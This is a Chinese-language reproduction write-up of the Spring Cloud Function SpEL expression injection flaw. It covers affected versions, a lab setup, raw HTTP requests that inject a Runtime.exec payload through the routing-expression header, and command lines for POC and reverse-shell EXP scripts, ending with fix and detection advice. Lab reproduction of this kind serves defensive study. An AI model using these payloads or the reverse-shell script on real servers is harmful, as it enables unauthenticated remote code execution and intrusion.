漏洞描述
Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加"spring.cloud.function.routing-expression"参数并携带SpEL表达式,成功利用此漏洞可实现任意代码执行。
影响版本
3.0.0.M3 <= Spring Cloud Function <=3.2.2
漏洞复现
漏洞环境
jdk-15.02
win10或linux(centos7,ubuntu 20.4)
SpringCloud-Function-0.0.1-SNAPSHOT.jar
poc&exp
怕链接失效以上环境均备好放在百度网盘。 链接: Spring Cloud 复现环境 提取码:1234
也可自行下载
jdk15下载地址:
https:
SpringCloud-Function.jar环境下载:
https:
POC&EXP下载地址:
https:
1、下载一个jdk-15.02的版本,这里可以选择下载Linux x64或Windows x64,下载安装。
2、启动 SpringCloud 环境,访问9000端口。
java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar
命令执行
1、burp中手动检测。
POST /xxx HTTP/1.1
Host: 192.168.1.133:9000
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
xxx
POST /functionRouter HTTP/1.1
Host: 192.168.1.133:9000
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
rce
2、poc&exp批量检测。 这里我就直接贴图了,因为我复现环境是win10虚拟机没有测试反弹shell了,exp可以自行测试反弹shell。
python Spel_RCE_POC.py url.txt //poc检测
python Spel_RCE_Bash_EXP.py http://192.168.1.133:9000/ 192.168.1.122 1234 //exp反弹shell
漏洞修复
目前,Spring Cloud Function官方已针对此漏洞进行修复,但还没有发布正式版本。 建议等待官方发布修复版本或自行下载修复代码进行手动编译。
修复版本地址: https://github.com/spring-cloud/spring-cloud-function/tree/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
排查方法: 如果程序使用Maven打包,可以通过排查项目的pom.xml文件中是否引入spring-cloud-function相关依赖,确认其版本是否在受影响范围内。
参考: 奇安信 CERT 明联安全
|